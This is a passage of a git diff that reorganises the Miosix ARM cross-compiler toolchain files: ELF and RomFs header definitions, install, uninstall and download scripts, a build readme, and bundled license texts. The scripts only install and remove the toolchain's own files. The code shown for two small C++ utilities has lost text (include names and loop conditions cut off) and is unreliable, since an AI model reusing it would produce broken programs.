Sizeof ehdr + Elf32_Half e_phentsize; // Sizeof phdr + Elf32_Half e_phnum; // Number phdrs + Elf32_Half e_shentsize; // Sizeof shdr + Elf32_Half e_shnum; // Number shdrs + Elf32_Half e_shstrndx; // Shdr string index +} __attribute__((packed)); + +// Values for e_type +const Elf32_Half ET_NONE = 0; // Unknown type +const Elf32_Half ET_REL = 1; // Relocatable +const Elf32_Half ET_EXEC = 2; // Executable +const Elf32_Half ET_DYN = 3; // Shared object +const Elf32_Half ET_CORE = 4; // Core file + +// Values for e_version +const Elf32_Word EV_CURRENT = 1; + +// Values for e_machine +const Elf32_Half EM_ARM = 0x28; + +// Values for e_flags +const Elf32_Word EF_ARM_EABIMASK = 0xff000000; +const Elf32_Word EF_ARM_EABI_VER5 = 0x05000000; +const Elf32_Word EF_ARM_VFP_FLOAT = 0x400; +const Elf32_Word EF_ARM_SOFT_FLOAT = 0x200; + +/* + * Elf program header + */ +struct Elf32_Phdr +{ + Elf32_Word p_type; // Program header type, any of the PH_* constants + Elf32_Off p_offset; // Segment start offset in file + Elf32_Addr p_vaddr; // Segment virtual address + Elf32_Addr p_paddr; // Segment physical address + Elf32_Word p_filesz; // Segment size in file + Elf32_Word p_memsz; // Segment size in memory + Elf32_Word p_flags; // Segment flasgs, any of the PF_* constants + Elf32_Word p_align; // Segment alignment requirements +} __attribute__((packed)); + +// Values for p_type +const Elf32_Word PT_NULL = 0; // Unused array entry +const Elf32_Word PT_LOAD = 1; // Loadable segment +const Elf32_Word PT_DYNAMIC = 2; // Segment is the dynamic section +const Elf32_Word PT_INTERP = 3; // Shared library interpreter +const Elf32_Word PT_NOTE = 4; // Auxiliary information + +// Values for p_flags +const Elf32_Word PF_X = 0x1; // Execute +const Elf32_Word PF_W = 0x2; // Write +const Elf32_Word PF_R = 0x4; // Read + +/* + * Entries of the DYNAMIC segment + */ +struct Elf32_Dyn +{ + Elf32_Sword d_tag; // Type of entry + union { + Elf32_Word d_val; // Value of entry, if number + Elf32_Addr d_ptr; // Value of entry, if offset into the file + } d_un; +} __attribute__((packed)); + +// Values for d_tag +const int DT_NULL = 0; +const int DT_NEEDED = 1; +const int DT_PLTRELSZ = 2; +const int DT_PLTGOT = 3; +const int DT_HASH = 4; +const int DT_STRTAB = 5; +const int DT_SYMTAB = 6; +const int DT_RELA = 7; +const int DT_RELASZ = 8; +const int DT_RELAENT = 9; +const int DT_STRSZ = 10; +const int DT_SYMENT = 11; +const int DT_INIT = 12; +const int DT_FINI = 13; +const int DT_SONAME = 14; +const int DT_RPATH = 15; +const int DT_SYMBOLIC = 16; +const int DT_REL = 17; +const int DT_RELSZ = 18; +const int DT_RELENT = 19; +const int DT_PLTREL = 20; +const int DT_DEBUG = 21; +const int DT_TEXTREL = 22; +const int DT_JMPREL = 23; +const int DT_BINDNOW = 24; +const int DT_MX_RAMSIZE = 0x10000000; //Miosix specific, RAM size +const int DT_MX_STACKSIZE = 0x10000001; //Miosix specific, STACK size +const int DT_MX_ABI = 0x736f694d; //Miosix specific, ABI version +const unsigned int DV_MX_ABI_V0 = 0x00007869; //Miosix specific, ABI version 0 +const unsigned int DV_MX_ABI_V1 = 0x01007869; //Miosix specific, ABI version 1 + +/* + * Relocation entries + */ +struct Elf32_Rel +{ + Elf32_Addr r_offset; + Elf32_Word r_info; +} __attribute__((packed)); + +// To extract the two fields of r_info +#define ELF32_R_SYM(i) ((i)>>8) +#define ELF32_R_TYPE(i) ((unsigned char)(i)) + +// Possible values for ELF32_R_TYPE(r_info) +const unsigned char R_ARM_NONE = 0; +const unsigned char R_ARM_ABS32 = 2; +const unsigned char R_ARM_RELATIVE = 23; + +/* + * Elf Section header + */ +struct Elf32_Shdr +{ + Elf32_Word sh_name; + Elf32_Word sh_type; + Elf32_Word sh_flags; + Elf32_Addr sh_addr; + Elf32_Off sh_offset; + Elf32_Word sh_size; + Elf32_Word sh_link; + Elf32_Word sh_info; + Elf32_Word sh_addralign; + Elf32_Word sh_entsize; +}; + +// sh_type +const int SHT_NULL = 0; /* inactive */ +const int SHT_PROGBITS = 1; /* program defined information */ +const int SHT_SYMTAB = 2; /* symbol table section */ +const int SHT_STRTAB = 3; /* string table section */ +const int SHT_RELA = 4; /* relocation section with addends*/ +const int SHT_HASH = 5; /* symbol hash table section */ +const int SHT_DYNAMIC = 6; /* dynamic section */ +const int SHT_NOTE = 7; /* note section */ +const int SHT_NOBITS = 8; /* no space section */ +const int SHT_REL = 9; /* relation section without addends */ +const int SHT_SHLIB = 10; /* reserved - purpose unknown */ +const int SHT_DYNSYM = 11; /* dynamic symbol table section */ +const int SHT_LOPROC = 0x70000000; /* reserved range for processor */ +const int SHT_HIPROC = 0x7fffffff; /* specific section header types */ +const int SHT_LOUSER = 0x80000000; /* reserved range for application */ +const int SHT_HIUSER = 0xffffffff; /* specific indexes */ + +} //namespace miosix diff --git a/tools/compiler/gcc-15.2.0-mp4.2/shared/note.txt b/tools/compiler/gcc-15.2.0-mp4.2/shared/note.txt new file mode 100644 index 000000000..7e87fc09a --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/shared/note.txt @@ -0,0 +1 @@ +These files must be kept in sync with the ones in the Miosix kernel diff --git a/tools/compiler/gcc-15.2.0-mp4.2/shared/romfs_types.h b/tools/compiler/gcc-15.2.0-mp4.2/shared/romfs_types.h new file mode 100644 index 000000000..0a7e69ba5 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/shared/romfs_types.h @@ -0,0 +1,80 @@ +/*************************************************************************** + * Copyright (C) 2011-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +// Code started in 2011 as ResourceFs (part of mxgui), renamed romfs in 2024 + +#pragma once + +/** + * Filesystem header, stored @ offset 0 from the filesystem image start + */ +struct RomFsHeader +{ + char marker[6]; ///< 5 'w' characters, null terminated + char fsName[11]; ///< "RomFs 2.00", null terminated + char osName[7]; ///< "Miosix", null terminated + unsigned int imageSize; ///< Size of the entire filesystem image + unsigned int unused; ///< Reserved for future use, set as 0 for now +}; + +/** + * Every directory starts with an entry of this type + */ +struct RomFsFirstEntry +{ + unsigned int parentInode; ///< Inode of the parent directory, 0 if root dir +}; + +/** + * Regualr directory entry + */ +struct __attribute__((packed)) RomFsDirectoryEntry +{ + unsigned int inode; ///< File/directory content start offset + unsigned int size; ///< File size + unsigned short mode; ///< Type reg/dir/symlink and permissions + unsigned short uid, gid; ///< File owner and group + char name[]; ///< File name, null teminated +}; + +/// Alignment of all filesystem data structures. Must be a power of 2. Chosen as +/// 4 bytes for compatibility to architectures without unaligned memory accesses +const unsigned int romFsStructAlignment=4; +/// Minimum alignment of files stored in the filesystem. Must be a power of 2. +/// Chosen as 8 bytes since most elf files require 8 byte alignment, and some +/// binary data files may contain 64 bit types. +const unsigned int romFsFileAlignment=8; +/// Alignment of filesystem image start and end. Must be a power of 2 and +/// greater or equal than romFsStructAlignment and romFsFileAlignment. +/// See elf_program.cpp for the choice of 64 bytes alignment. +const unsigned int romFsImageAlignment=64; + +static_assert(romFsImageAlignment>=romFsFileAlignment,""); +static_assert(romFsImageAlignment>=romFsStructAlignment,""); +static_assert(sizeof(RomFsHeader)==32,""); +static_assert(sizeof(RomFsFirstEntry)==4,""); +static_assert(sizeof(RomFsDirectoryEntry)==14,""); diff --git a/tools/compiler/gcc-15.2.0-mp4.2/uninstall.sh b/tools/compiler/gcc-15.2.0-mp4.2/uninstall.sh new file mode 100644 index 000000000..3c89fab43 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/uninstall.sh @@ -0,0 +1,51 @@ +#!/usr/bin/env bash + +# Uninstall script: removes the arm-miosix-eabi-gcc compiler + +PREFIX="arm-miosix-eabi-" +# Do not remove any item from this list, some users may have installed a very old Miosix compiler +FILES="addr2line ar as c++ c++filt cpp elfedit g++ gcc gcc-ar gcc-nm gcc-ranlib gccbug gcov gcov-dump gcov-tool gdb gdbtui gdb-add-index gprof ld ld.bfd lto-dump nm objcopy objdump ranlib readelf run size strings strip" + +# Remove symlinks to the compiler +for i in $FILES; do + # install-script.sh installs links in /usr/bin + # Using -h because the file must be a symlink + if [ -h "/usr/bin/$PREFIX$i" ]; then + sudo rm "/usr/bin/$PREFIX$i" + fi + # Very old install-script.sh used to install links in /usr/local/bin, + # so remove also those links for backward compatibility + if [ -h "/usr/local/bin/$PREFIX$i" ]; then + sudo rm "/usr/local/bin/$PREFIX$i" + fi +done + +# Remove lpc21isp (no longer built, but some users may have installed a very old +# Miosix compiler) +if [ -h "/usr/bin/lpc21isp" ]; then + sudo rm "/usr/bin/lpc21isp" +fi +if [ -h "/usr/local/bin/lpc21isp" ]; then + sudo rm "/usr/local/bin/lpc21isp" +fi + +# Remove mx-postlinker +if [ -h "/usr/bin/mx-postlinker" ]; then + sudo rm "/usr/bin/mx-postlinker" +fi +if [ -h "/usr/local/bin/mx-postlinker" ]; then + sudo rm "/usr/local/bin/mx-postlinker" +fi + +# Remove mx-buildromfs (was only ever installed in /usr/bin) +if [ -h "/usr/bin/mx-buildromfs" ]; then + sudo rm "/usr/bin/mx-buildromfs" +fi + +# Remove mx-maputil (was only ever installed in /usr/bin) +if [ -h "/usr/bin/mx-maputil" ]; then + sudo rm "/usr/bin/mx-maputil" +fi + +# Remove the compiler +sudo rm -rf /opt/arm-miosix-eabi diff --git a/miosix/_tools/compiler/gcc-4.7.3-mp1/Readme.txt b/tools/compiler/gcc-4.7.3-mp1/Readme.txt similarity index 100% rename from miosix/_tools/compiler/gcc-4.7.3-mp1/Readme.txt rename to tools/compiler/gcc-4.7.3-mp1/Readme.txt diff --git a/miosix/_tools/compiler/gcc-4.7.3-mp1/additional-download-linux-release.sh b/tools/compiler/gcc-4.7.3-mp1/additional-download-linux-release.sh old mode 100644 new mode 100755 similarity index 100% rename from miosix/_tools/compiler/gcc-4.7.3-mp1/additional-download-linux-release.sh rename to tools/compiler/gcc-4.7.3-mp1/additional-download-linux-release.sh diff --git a/miosix/_tools/compiler/gcc-4.7.3-mp1/additional-download-windows-release.sh b/tools/compiler/gcc-4.7.3-mp1/additional-download-windows-release.sh old mode 100644 new mode 100755 similarity index 100% rename from miosix/_tools/compiler/gcc-4.7.3-mp1/additional-download-windows-release.sh rename to tools/compiler/gcc-4.7.3-mp1/additional-download-windows-release.sh diff --git a/miosix/_tools/compiler/gcc-4.7.3-mp1/checkdeps.sh b/tools/compiler/gcc-4.7.3-mp1/checkdeps.sh old mode 100644 new mode 100755 similarity index 100% rename from miosix/_tools/compiler/gcc-4.7.3-mp1/checkdeps.sh rename to tools/compiler/gcc-4.7.3-mp1/checkdeps.sh diff --git a/miosix/_tools/compiler/gcc-4.7.3-mp1/cleanup.sh b/tools/compiler/gcc-4.7.3-mp1/cleanup.sh old mode 100644 new mode 100755 similarity index 100% rename from miosix/_tools/compiler/gcc-4.7.3-mp1/cleanup.sh rename to tools/compiler/gcc-4.7.3-mp1/cleanup.sh diff --git a/miosix/_tools/compiler/gcc-4.7.3-mp1/download.sh b/tools/compiler/gcc-4.7.3-mp1/download.sh old mode 100644 new mode 100755 similarity index 100% rename from miosix/_tools/compiler/gcc-4.7.3-mp1/download.sh rename to tools/compiler/gcc-4.7.3-mp1/download.sh diff --git a/miosix/_tools/compiler/gcc-4.7.3-mp1/install-script.sh b/tools/compiler/gcc-4.7.3-mp1/install-script.sh old mode 100644 new mode 100755 similarity index 100% rename from miosix/_tools/compiler/gcc-4.7.3-mp1/install-script.sh rename to tools/compiler/gcc-4.7.3-mp1/install-script.sh diff --git a/miosix/_tools/compiler/gcc-4.7.3-mp1/linux-installer/installer.sh b/tools/compiler/gcc-4.7.3-mp1/linux-installer/installer.sh old mode 100644 new mode 100755 similarity index 100% rename from miosix/_tools/compiler/gcc-4.7.3-mp1/linux-installer/installer.sh rename to tools/compiler/gcc-4.7.3-mp1/linux-installer/installer.sh diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/lpc21isp_148_src.zip b/tools/compiler/gcc-4.7.3-mp1/lpc21isp_148_src.zip similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/lpc21isp_148_src.zip rename to tools/compiler/gcc-4.7.3-mp1/lpc21isp_148_src.zip diff --git a/miosix/_tools/compiler/gcc-4.7.3-mp1/mx-postlinker/ELF.h b/tools/compiler/gcc-4.7.3-mp1/mx-postlinker/ELF.h similarity index 100% rename from miosix/_tools/compiler/gcc-4.7.3-mp1/mx-postlinker/ELF.h rename to tools/compiler/gcc-4.7.3-mp1/mx-postlinker/ELF.h diff --git a/miosix/_tools/compiler/gcc-4.7.3-mp1/mx-postlinker/Makefile b/tools/compiler/gcc-4.7.3-mp1/mx-postlinker/Makefile similarity index 100% rename from miosix/_tools/compiler/gcc-4.7.3-mp1/mx-postlinker/Makefile rename to tools/compiler/gcc-4.7.3-mp1/mx-postlinker/Makefile diff --git a/tools/compiler/gcc-4.7.3-mp1/mx-postlinker/main.cpp b/tools/compiler/gcc-4.7.3-mp1/mx-postlinker/main.cpp new file mode 100644 index 000000000..cbec798f5 --- /dev/null +++ b/tools/compiler/gcc-4.7.3-mp1/mx-postlinker/main.cpp @@ -0,0 +1,52 @@ +/*************************************************************************** + * Copyright (C) 2012 by Luigi Rucco and Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include +#include "postlinker.h" + +using namespace std; + +int main(int argc, char *argv[]) +{ + int stackSize=-1; + int ramSize=-1; + string prog; + bool strip=false; + for(int i=1;i" + <<" --stacksize= [--strip-sectheader]"< +#include + +int main(int argc, char *argv[]) +{ + int i; + for(i=0;i0 && argv[i][0]!='-') + remove(argv[i]); + } + return 0; +} diff --git a/miosix/_tools/compiler/gcc-8.2.0-mp2.1/Readme.txt b/tools/compiler/gcc-8.2.0-mp2.1/Readme.txt similarity index 100% rename from miosix/_tools/compiler/gcc-8.2.0-mp2.1/Readme.txt rename to tools/compiler/gcc-8.2.0-mp2.1/Readme.txt diff --git a/miosix/_tools/compiler/gcc-8.2.0-mp2.1/gcc-8.2.0-mp2.1.tar.xz b/tools/compiler/gcc-8.2.0-mp2.1/gcc-8.2.0-mp2.1.tar.xz similarity index 100% rename from miosix/_tools/compiler/gcc-8.2.0-mp2.1/gcc-8.2.0-mp2.1.tar.xz rename to tools/compiler/gcc-8.2.0-mp2.1/gcc-8.2.0-mp2.1.tar.xz diff --git a/tools/compiler/gcc-9.2.0-mp3.2/.gitignore b/tools/compiler/gcc-9.2.0-mp3.2/.gitignore new file mode 100644 index 000000000..9db1184e8 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.2/.gitignore @@ -0,0 +1,18 @@ +downloaded +objdir +newlib-obj +lib +gcc +dist +log +binutils-* +gcc-* +gdb-* +gmp-* +mpc-* +mpfr-* +newlib-* +expat-* +lpc21isp.c +# Generated by install-script.sh during local builds +env.sh diff --git a/tools/compiler/gcc-9.2.0-mp3.2/Readme.txt b/tools/compiler/gcc-9.2.0-mp3.2/Readme.txt new file mode 100644 index 000000000..6ef915176 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.2/Readme.txt @@ -0,0 +1,79 @@ +This is the readme for installing the arm-miosix-eabi-gcc compiler, +required to build Miosix. +Currently this can only be done on Linux, even when compiling a +compiler that will work for Windows. +=================================================================== + + +Step 1 +------ +Copy this folder in a path without spaces, or compiling will fail. +Example: +/home/foo/temp OK +/home/foo/directory with spaces/temp NO!! + + +Step 2 +------ +Install the following dependencies: +gcc, g++, make, ncurses, byacc, flex, texinfo, patch, tar, unzip, lzip, libelf perl libexpat + +For example, for Ubuntu/Kubuntu open a shell and type: +sudo apt-get install gcc g++ make libncurses5-dev byacc flex texinfo patch tar unzip lzip libelf-dev perl libexpat1-dev + +While on Fedora: +sudo dnf install gcc gcc-c++ make ncurses-devel byacc flex texinfo patch tar unzip lzip elfutils-libelf-devel perl expat-devel + +Note: these scripts require "sudo" unless you want to install the compiler locally. +If you use a distro like Fedora where sudo is not enabled by default, use "visudo" to enable sudo for your account. + +Step 3 +------ +Download the the required sources with the download script: + +./download.sh + + +Step 4 +------ +After meeting these prerequisites, install: + +./install-script.sh -j`nproc` +./cleanup.sh + +Both scripts will prompt for root password at some point. It is normal, +since they need to write in /opt and /usr/bin. +The cleanup script won't remove the compressed files downloaded with the +download script. You might want to do so manually to save space on your disk. + + +Step 5 +------ +Test the compiler by typing in a shell + +arm-miosix-eabi-gcc -v + +If you get something like + +bash: arm-miosix-eabi-gcc: command not found + +it means something did not work. + + +Step 6 +------ +If required, also install OpenOCD for in circuit debugging. +There are no scripts for doing that, since it is rather independent on the +gcc version. On many distros it is also available thrugh package managers, +for example on Ubuntu/Kubuntu you can install it with + +sudo apt-get install openocd + +Uninstalling the compiler +========================= +In case you need to uninstall the compiler (perhaps because you need to install +an upgraded version as part of a new Miosix release) you can run the + +./uninstall.sh + +script. diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/TODO b/tools/compiler/gcc-9.2.0-mp3.2/TODO similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/TODO rename to tools/compiler/gcc-9.2.0-mp3.2/TODO diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/autotools/Autohell.txt b/tools/compiler/gcc-9.2.0-mp3.2/autotools/Autohell.txt similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/autotools/Autohell.txt rename to tools/compiler/gcc-9.2.0-mp3.2/autotools/Autohell.txt diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/cleanup.sh b/tools/compiler/gcc-9.2.0-mp3.2/cleanup.sh old mode 100644 new mode 100755 similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/cleanup.sh rename to tools/compiler/gcc-9.2.0-mp3.2/cleanup.sh diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/download.sh b/tools/compiler/gcc-9.2.0-mp3.2/download.sh old mode 100644 new mode 100755 similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/download.sh rename to tools/compiler/gcc-9.2.0-mp3.2/download.sh diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/install-script.sh b/tools/compiler/gcc-9.2.0-mp3.2/install-script.sh old mode 100644 new mode 100755 similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/install-script.sh rename to tools/compiler/gcc-9.2.0-mp3.2/install-script.sh diff --git a/tools/compiler/gcc-9.2.0-mp3.2/installers/additional-download.sh b/tools/compiler/gcc-9.2.0-mp3.2/installers/additional-download.sh new file mode 100755 index 000000000..c243dfc06 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.2/installers/additional-download.sh @@ -0,0 +1,26 @@ +#!/bin/sh + +# This simple script will download additional sources required to make a +# distributable release build for linux/windows + +# Meant to be run from the main compiler directory (./installers/additional-download.sh) +cd downloaded || exit + +# macOS does not ship with wget, check if it exists and otherwise use curl +if command -v wget > /dev/null; then + WGET=wget +else + WGET='curl -LO' +fi + +# Linux +$WGET https://ftpmirror.gnu.org/ncurses/ncurses-6.1.tar.gz +$WGET https://github.com/megastep/makeself/releases/download/release-2.4.5/makeself-2.4.5.run + +# Windows +$WGET https://ftpmirror.gnu.org/make/make-4.2.1.tar.gz +$WGET https://jrsoftware.org/download.php/is.exe +mv is.exe innosetup.exe + +# All +$WGET https://github.com/libexpat/libexpat/releases/download/R_2_2_10/expat-2.2.10.tar.xz diff --git a/tools/compiler/gcc-9.2.0-mp3.2/installers/checkdeps-windows.sh b/tools/compiler/gcc-9.2.0-mp3.2/installers/checkdeps-windows.sh new file mode 100755 index 000000000..6939f7428 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.2/installers/checkdeps-windows.sh @@ -0,0 +1,8 @@ +#!/bin/bash + +# When making a redistributable windows installation, use this +# to check the required librearies after it's installed on +# another machine + +# Meant to be run from the main compiler directory (./installers/checkdeps-windows.sh) +strings gcc/arm-miosix-eabi/bin/*.exe | grep '\.dll' | sort -u diff --git a/tools/compiler/gcc-9.2.0-mp3.2/installers/checkdeps.sh b/tools/compiler/gcc-9.2.0-mp3.2/installers/checkdeps.sh new file mode 100755 index 000000000..137f7c3af --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.2/installers/checkdeps.sh @@ -0,0 +1,9 @@ +#!/bin/bash + +# When making a redistributable linux installation, use this +# to check the required librearies after it's installed on +# another machine + +# Meant to be run from the main compiler directory (./installers/checkdeps.sh) + +ldd gcc/arm-miosix-eabi/bin/* | perl -ne 'next unless(/\s+(\S+.so(\S+))\s+/);print "$1\n";' | sort -u diff --git a/tools/compiler/gcc-9.2.0-mp3.2/installers/linux/installer.sh b/tools/compiler/gcc-9.2.0-mp3.2/installers/linux/installer.sh new file mode 100755 index 000000000..7a595a936 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.2/installers/linux/installer.sh @@ -0,0 +1,16 @@ +#!/bin/bash + +echo "Checking if a previous version of the Miosix Toolchain is installed" +echo "and uninstalling it ..." + +./uninstall.sh + +quit() { + echo $1 + exit 1 +} + +echo "Installing the Miosix toolchain ..." +# NOTE: "" around pwd as the directory may contain spaces +sudo cp -R "`pwd`" /opt/arm-miosix-eabi || quit "Error: can't install to /opt/arm-miosix-eabi" +sudo ln -s /opt/arm-miosix-eabi/bin/* /usr/bin || quit "Error: can't make symlinks to /usr/bin" diff --git a/tools/compiler/gcc-9.2.0-mp3.2/installers/macos/.gitignore b/tools/compiler/gcc-9.2.0-mp3.2/installers/macos/.gitignore new file mode 100644 index 000000000..d55d46501 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.2/installers/macos/.gitignore @@ -0,0 +1 @@ +Scripts diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/macos/Distribution_ARM.xml b/tools/compiler/gcc-9.2.0-mp3.2/installers/macos/Distribution_ARM.xml similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/macos/Distribution_ARM.xml rename to tools/compiler/gcc-9.2.0-mp3.2/installers/macos/Distribution_ARM.xml diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/macos/Distribution_Intel.xml b/tools/compiler/gcc-9.2.0-mp3.2/installers/macos/Distribution_Intel.xml similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/installers/macos/Distribution_Intel.xml rename to tools/compiler/gcc-9.2.0-mp3.2/installers/macos/Distribution_Intel.xml diff --git a/tools/compiler/gcc-9.2.0-mp3.2/installers/macos/Resources/license.txt b/tools/compiler/gcc-9.2.0-mp3.2/installers/macos/Resources/license.txt new file mode 100644 index 000000000..f36ca140a --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.2/installers/macos/Resources/license.txt @@ -0,0 +1,1779 @@ +=== GCC, Binutils, GDB, Make License === + + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. 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Gay (AT&T 1991, Lucent 1998) + +The author of this software is David M. Gay. + +Copyright (c) 1991 by AT&T. + +Permission to use, copy, modify, and distribute this software for any +purpose without fee is hereby granted, provided that this entire notice +is included in all copies of any software which is or includes a copy +or modification of this software and in all copies of the supporting +documentation for such software. + +THIS SOFTWARE IS BEING PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED +WARRANTY. IN PARTICULAR, NEITHER THE AUTHOR NOR AT&T MAKES ANY +REPRESENTATION OR WARRANTY OF ANY KIND CONCERNING THE MERCHANTABILITY +OF THIS SOFTWARE OR ITS FITNESS FOR ANY PARTICULAR PURPOSE. + +------------------------------------------------------------------- + +The author of this software is David M. Gay. + +Copyright (C) 1998-2001 by Lucent Technologies +All Rights Reserved + +Permission to use, copy, modify, and distribute this software and +its documentation for any purpose and without fee is hereby +granted, provided that the above copyright notice appear in all +copies and that both that the copyright notice and this +permission notice and warranty disclaimer appear in supporting +documentation, and that the name of Lucent or any of its entities +not be used in advertising or publicity pertaining to +distribution of the software without specific, written prior +permission. + +LUCENT DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, +INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. +IN NO EVENT SHALL LUCENT OR ANY OF ITS ENTITIES BE LIABLE FOR ANY +SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES +WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER +IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, +ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF +THIS SOFTWARE. + + +(4) Advanced Micro Devices + +Copyright 1989, 1990 Advanced Micro Devices, Inc. + +This software is the property of Advanced Micro Devices, Inc (AMD) which +specifically grants the user the right to modify, use and distribute this +software provided this notice is not removed or altered. All other rights +are reserved by AMD. + +AMD MAKES NO WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, WITH REGARD TO THIS +SOFTWARE. IN NO EVENT SHALL AMD BE LIABLE FOR INCIDENTAL OR CONSEQUENTIAL +DAMAGES IN CONNECTION WITH OR ARISING FROM THE FURNISHING, PERFORMANCE, OR +USE OF THIS SOFTWARE. + +So that all may benefit from your experience, please report any problems +or suggestions about this software to the 29K Technical Support Center at +800-29-29-AMD (800-292-9263) in the USA, or 0800-89-1131 in the UK, or +0031-11-1129 in Japan, toll free. The direct dial number is 512-462-4118. + +Advanced Micro Devices, Inc. +29K Support Products +Mail Stop 573 +5900 E. Ben White Blvd. +Austin, TX 78741 +800-292-9263 + +(5) + +(6) + +(7) Sun Microsystems + +Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved. + +Developed at SunPro, a Sun Microsystems, Inc. business. +Permission to use, copy, modify, and distribute this +software is freely granted, provided that this notice is preserved. + +(8) Hewlett Packard + +(c) Copyright 1986 HEWLETT-PACKARD COMPANY + +To anyone who acknowledges that this file is provided "AS IS" +without any express or implied warranty: + permission to use, copy, modify, and distribute this file +for any purpose is hereby granted without fee, provided that +the above copyright notice and this notice appears in all +copies, and that the name of Hewlett-Packard Company not be +used in advertising or publicity pertaining to distribution +of the software without specific, written prior permission. +Hewlett-Packard Company makes no representations about the +suitability of this software for any purpose. + +(9) Hans-Peter Nilsson + +Copyright (C) 2001 Hans-Peter Nilsson + +Permission to use, copy, modify, and distribute this software is +freely granted, provided that the above copyright notice, this notice +and the following disclaimer are preserved with no changes. + +THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. + +(10) Stephane Carrez (m68hc11-elf/m68hc12-elf targets only) + +Copyright (C) 1999, 2000, 2001, 2002 Stephane Carrez (stcarrez@nerim.fr) + +The authors hereby grant permission to use, copy, modify, distribute, +and license this software and its documentation for any purpose, provided +that existing copyright notices are retained in all copies and that this +notice is included verbatim in any distributions. No written agreement, +license, or royalty fee is required for any of the authorized uses. +Modifications to this software may be copyrighted by their authors +and need not follow the licensing terms described here, provided that +the new terms are clearly indicated on the first page of each file where +they apply. + +(11) Christopher G. Demetriou + +Copyright (c) 2001 Christopher G. Demetriou +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. +3. The name of the author may not be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY 